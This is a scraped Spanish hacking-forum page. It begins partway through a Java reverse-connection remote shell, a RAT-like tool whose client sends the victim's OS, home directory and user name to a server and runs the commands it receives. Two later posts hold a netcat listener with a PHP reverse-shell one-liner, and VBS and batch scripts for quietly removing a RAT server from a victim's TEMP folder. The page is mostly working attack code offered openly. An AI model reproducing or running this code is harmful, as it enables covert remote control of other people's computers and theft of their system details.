                    primera Conexion = new primera(conexion3);
 
                    //Thread hilo1 = new Thread(Conexion);
                    Conexion.start();
 
                    p.add(conexion3);
                    if(debugging)
                        System.out.println("añadidos al array "+p.size());
                    //System.out.println("FIN");
 
                }
            }
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }
 
    static public void envioTextoTeclado0(String sTexto) {
 
        //System.out.println("Comprobacion 2 Tamaño -> "+p.size() );
 
        if(Mode == 0){
            try{
                for(int i=0;i<p.size();i++){
                    Socket con = p.get(i);
 
                    //System.out.println("Cliente: "+i);
                    DataOutputStream salida = new DataOutputStream(con.getOutputStream());
                    DataInputStream entrada = new DataInputStream(con.getInputStream());
 
                    salida.writeUTF(sTexto);
                    System.out.println(entrada.readUTF());
 
                    synchronized (p.get(i)) {
                        //System.out.println("Soy 2 desperte a uno");
                        p.get(i).notify();
                        //System.out.println("Soy 2 y continua uno");
 
                    }
 
                    p.remove(p.get(i));
 
                }
                //System.out.println("hashcode -> "+p.get(0).hashCode() );
                //System.out.println("hashcode -> "+p.get(1).hashCode() );
 
            } catch (IOException ex) {
                ex.printStackTrace();
            }
        }
        if(Mode == 1){
            try{
                for(int i=0;i<p.size();i++){
 
                    Socket con = p.get(i);
 
                    //System.out.println("Cliente: "+i);
                    DataOutputStream salida = new DataOutputStream(con.getOutputStream());
                    DataInputStream entrada = new DataInputStream(con.getInputStream());
 
                    salida.writeUTF(sTexto);
                    System.out.println(entrada.readUTF());
 
                }
                for(int i=0;i<p.size();i++){
                    synchronized (p.get(i)) {
 
                        //System.out.println("Soy 2 desperte a uno");
                        p.get(i).notify();
 
                        //System.out.println("Soy 2 y continua uno");
                    }
                }
 
                //p.remove(p.get(0));
                //p.remove(p.get(1));
 
                //System.out.println("hashcode -> "+p.get(0).hashCode() );
                //System.out.println("hashcode -> "+p.get(1).hashCode() );
 
            } catch (IOException ex) {
                ex.printStackTrace();
            }
        }
    }
    /**
 
     */
 
}
class primera extends Thread {
    private Socket conexion3;
    boolean debugging=true;
    primera(Socket socket){
        conexion3 = socket;
        if(debugging)
            System.out.println("Me llamo "+getName());
    }
 
    public void run() {
        synchronized (conexion3) {
 
            if(debugging)
                System.out.println("uno me voy a dormir");
 
            try {
                conexion3.wait();
 
            } catch (InterruptedException ex) {
 
                System.out.println(ex);
            }
 
            if(debugging)
                System.out.println("uno me desperte");
 
            if(ConexionInversaServidor.Mode == 1){
                if(debugging)
                    System.out.println(ConexionInversaServidor.p.get(0).hashCode());
 
                ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0));
 
                if(debugging)
                    System.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\n");
 
            }
        }
    }
}
 
class Teclado extends Thread
{
    private BufferedReader br = null;
    private String sTexto = "";
    private int contador=0;
 
    public void run(){
        boolean t=true;
        while(t){
            try{
                System.out.println("nombre:"+getName());
                try {
                    this.sleep(300);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
                System.out.println("Teclee Comandos:");
                br = new BufferedReader(new InputStreamReader(System.in));
 
                System.out.printf("\tComando: %s \n",sTexto = br.readLine());
 
                if(sTexto=="fin"){
                    t=false;
                    System.exit(-1);
                }
                ConexionInversaServidor.envioTextoTeclado0(sTexto);
 
            } catch (IOException ex) {
                System.out.println(ex);
            }
        }
 
    }
}
class ConexionInversaCliente extends Thread {
    private Socket conexion4;
    private static Thread hebraServidor4;
 
    private Random rnd = new Random();
    private int HASH;
    private int contador;
    private String osName = System.getProperty ( "os.name" );
    private String Arch = System.getProperty ( "os.arch" );
    private String Version = System.getProperty ( "os.version" );
 
    private String SP = System.getProperty ( "sun.os.patch.level" );
    private String Country = System.getProperty ( "user.country" );
    private String dirUserHome = System.getProperty ( "user.home" );
    private String Lang = System.getProperty ( "user.language" );
    private String userName = System.getProperty ( "user.name" );
    private String VersionJV = System.getProperty ( "java.vm.version" );
 
    private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};
 
    ConexionInversaCliente(){
        HASH = (rnd.nextInt() * 10000);
        contador=0;
    }
 
    public void run() {
        String ip = JCat.IP;
        int puerto = JCat.Port;
        try {
            System.out.println("\n*---------------------------------*");
            System.out.println("*       Conexión I. CLIENTE       *");
            System.out.println("*---------------------------------*");
            while (true) {
 
            conexion4 = new Socket(ip, puerto);
 
            try {
                DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
               
                DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
 
                salida.writeInt(HASH);
 
                if(contador==0){
                contador++;
                for(int i=0;i<arrayDatos.length;i++)
                if(arrayDatos[i]==null)
                arrayDatos[i]="null";
                salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
                + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
                + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8]);
                }
               
                System.out.println("\nConexion realizada...");
                System.out.println("\nEscriba en el Servidor...");
                System.out.println("Mi Identificador: "+HASH);
 
                String comando = entrada.readUTF();
 
                System.out.println("Comando del Cliente: " + comando);
                new Ejecutor().executeCommand(comando, false, conexion4);
                try {
                    this.sleep(2000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
            } catch (IOException ex) {
                System.out.println(ex.getMessage());
            }
 
            }
        } catch (IOException ex) {
            System.out.println("Mensaje de Error! -> "+ex.getMessage());
            if(ex.getMessage().equals("Can't assign requested address")){
                System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
                try {
                    this.sleep(3000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
 
                ConexionInversaCliente a = new ConexionInversaCliente();
                a.start();
            }
            if(ex.getMessage().equals("Connection refused")){
 
                System.out.println("No encontrado servidor a la escucha\n");
            }
        }
 
    }
}
 
class Ejecutor{
    private String commandShell;
    private Socket conexion3;
    public void executeCommand(String command, boolean flagbackground, Socket socket)  {
 
        commandShell = null;
        conexion3 = socket;
        try {
            DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
 
            String osName = System.getProperty("os.name");
 
            if (osName.equals("Windows NT")) {
                commandShell = "cmd.exe /C " + command;
            } else if (osName.equals("Windows 95") || osName.equals("Windows 98")) {
                commandShell = "start " + command;
            } else {
 
                if (flagbackground) {
                    commandShell = "" + command + " &";
                } else {
                    commandShell = "" + command;
                }
            }
 
            try {
                Process proc = Runtime.getRuntime().exec(commandShell);
                BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
                String str;String strTodo= "";
                while ((str = brStdOut.readLine()) != null) {
 
                    strTodo+=str+"\n"; 
                }
 
                salida.writeUTF("\tResponse: "+strTodo);
                brStdOut.close();
                brStdErr.close();
            } catch (IOException eproc) {
                System.out.println("Comando desconocido ");
                salida.writeUTF("\tResponse: Comando desconocido\n");
 
            }
        } catch (IOException ex) {
 
            System.out.println(ex.getMessage());
        }
 
    }
}


Fuente: code-disaster.blogspot.com
18  Programación / PHP / duda PHP en: 4 Julio 2012, 23:22 pm
Hola foro tengo una duda

si pongo netcat a la escucha en el puerto 5000:
Código
  1. netcat -l -p 5000 -vv

y en otra terminal ejecuto esto:
Código
  1. php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'

me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:
 //NO ME FUNCIONA, No devuelve la shell
Código
  1.  
  2.        <?php
  3.  
  4.       $ultima_linea = system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval);
  5.        ?>        

o esto:
       
        //NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
       
Código
  1. <?php
  2.        $sock=fsockopen(127.0.0.1, 5000);
  3.        exec("/bin/sh -i <&3 >&3 2>&3");
  4.        ?>
19  Programación / Scripting / [MOD] duda sobre vbs en: 23 Septiembre 2010, 02:22 am
Hola creo que este es el apartado del foro sobre preguntas de programacion si no disculpen bueno al caso resulta que estaba buscando una forma de que cuando le ordenase a mi cliente RAT que se desistalase el server pues eso que se borre pero claro primero se tiene que cerrar el proceso y esto me esta dando vueltas y vueltas. Pensé en una forma pero no se si se podra no soy muy experto en VB6 y bueno pensé en si se podría añadir al SRC del server un archivo .vbs exactamente este y bueno lo de ya que se copiase en un ruta TEMP?
Código:
Option Explicit
On Error Resume Next
Dim WshShell, objEnv
dim variable
dim prog
Set WshShell = CreateObject("WScript.Shell")
Set objEnv = WshShell.Environment("Process")
Set variable = CreateObject("Scripting.FileSystemObject")
Set WScript = CreateObject("WScript.Shell")         
Set prog = WshShell.exec("cmd /c taskkill /F /IM server.exe")
WScript.Sleep 2000
variable.DeleteFile objEnv("TEMP") & "\Batch.bat"
variable.DeleteFile objEnv("TEMP") & "\server.exe"
variable.DeleteFile objEnv("TEMP") & "\xxx.vbs"

este code funciona de perla luego hize otro en batch

Código:
@echo off
taskkill /f /im server.exe
FOR /l %%a IN (%1,-1,1) do (ECHO 1 >NULL %%as&ping -n 5 -w 1 127.0.0.1>NUL)
del /Q /F %temp%\server.exe
del /Q /F %temp%\Batch.bat
del /Q /F %temp%\xxx.bat

pero igual en los 2 casos aparece momentaneamente una pantalla de msdos y bueno seguro que hay otras formas de desistalar el server sin una fea imagen de msdos

Salu2! y gracias de antemano
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines